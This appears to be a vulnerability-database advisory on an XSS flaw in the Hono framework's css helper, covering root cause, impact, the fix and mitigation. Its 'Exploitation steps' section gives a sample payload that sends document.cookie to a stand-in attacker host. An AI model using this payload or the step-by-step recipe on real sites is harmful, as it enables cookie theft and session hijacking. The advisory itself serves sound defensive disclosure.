Vulnerability DatabaseCVE-2026-126359

CVE-2026-126359: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-126359 is a Cross-Site Scripting (XSS) vulnerability in the css helper of the Hono web application framework (hono/css) that allows HTML injection during server-side rendering. The flaw affects Hono versions >= 3.12.0 and <= 4.13.15 (npm package hono). It was originally published on November 1, 2026 by maintainer yusukebe and added to the GitHub Advisory Database on November 12, 2026. The vulnerability carries a CVSS v3.1 base score of 3.4 (Low) (Github Advisory, Hono Release).

Technical details

The root cause (CWE-79) lies in how the css template helper in hono/css escapes interpolated string values individually before joining them with surrounding template text. The escape logic checks for </ only within each value in isolation, so it cannot detect a < that appears at the end of the template literal or a preceding interpolated value when the next attacker-controlled value begins with /style>. After CSS minification, the combined output can produce an unescaped </style> closing tag, terminating the <Style /> element prematurely and causing the remainder of the interpolated content to be parsed as HTML by the browser. The fix, applied in commit 15bbd96, moves the closing-tag escape step to after minification by replacing all </ occurrences with <\/ in the final output string (Github Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker who controls an interpolated value in a css template to inject arbitrary HTML or JavaScript into server-rendered pages, potentially executing attacker-controlled scripts in the browsers of users who view the affected page. This can lead to session hijacking, credential theft, or exfiltration of sensitive information accessible to the page. Availability and integrity of the server itself are not directly impacted; the scope is limited to the confidentiality of data accessible in the victim's browser context (Github Advisory).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires high attack complexity — the attacker must control a string interpolated immediately after a < character in a css template — and user interaction is required (a victim must view the rendered page). The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (Github Advisory).

Exploitation steps

  1. Identify a vulnerable application: Find a Hono-based server-side rendered application using hono/css versions >= 3.12.0 and <= 4.13.15 that passes user-controlled input into a css template literal.
  2. Locate the injection point: Identify a code path where untrusted user input is interpolated into a css template immediately after a < character — either in the template itself (e.g., css\content: '<${userInput}'`) or via two adjacent interpolations (e.g., css`content: '${prefix}${name}'`` where both are attacker-controlled).
  3. Craft the malicious payload: Supply a value that begins with /style> followed by arbitrary HTML or script, for example: /style><script>document.location='https://attacker.example/steal?c='+document.cookie</script>.
  4. Trigger server-side rendering: Submit a request that causes the server to render the page with the injected value, producing output such as <style ...>.class{content:'<\/style><script>...</script>'}</style> — but without the escape, the </style> closes the element early.
  5. Deliver to victim: Distribute a link or embed the crafted request so that a victim's browser loads the server-rendered page, executing the injected script in their browser context and achieving the attacker's objective (e.g., cookie theft, credential harvesting) (Github Advisory, Fix Commit).

Mitigation and workarounds

Upgrade the hono npm package to version 4.13.16 or later, which escapes closing tags after CSS minification to prevent the injection (Hono Release). As a workaround for applications that cannot immediately upgrade, avoid interpolating untrusted values into css templates, or ensure that the template text immediately before any interpolation does not end with <. Implementing a strict Content Security Policy (CSP) header can also reduce the impact of any successful XSS injection (Github Advisory).

Community reactions

The advisory was published by Hono maintainer yusukebe and included as part of a broader v4.13.16 security release that addressed five separate vulnerabilities. The release notes explicitly encouraged users relying on the css helper with untrusted values to upgrade (Hono Release). No significant independent researcher commentary or notable media coverage has been identified for this specific CVE.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

RHEL / CentOS

Affected

RHEL 10

Not Affected

Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-43rg-r2xr-q686MEDIUM5.9
  • JavaScript logoJavaScript
  • parse-server
NoYesNov 14, 2026
GHSA-pxwg-mv9c-h422LOWN/A
  • JavaScript logoJavaScript
  • @openeudi/openid4vp
NoYesNov 14, 2026
GHSA-qm7q-q8h9-jg8qMEDIUMN/A
  • JavaScript logoJavaScript
  • dompurify
NoYesNov 14, 2026
GHSA-662g-9vq2-39jxMEDIUMN/A
  • JavaScript logoJavaScript
  • qhhoj-backend
NoYesNov 14, 2026
GHSA-mh3m-3rhj-pqffLOWN/A
  • JavaScript logoJavaScript
  • qhhoj-backend
NoYesNov 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management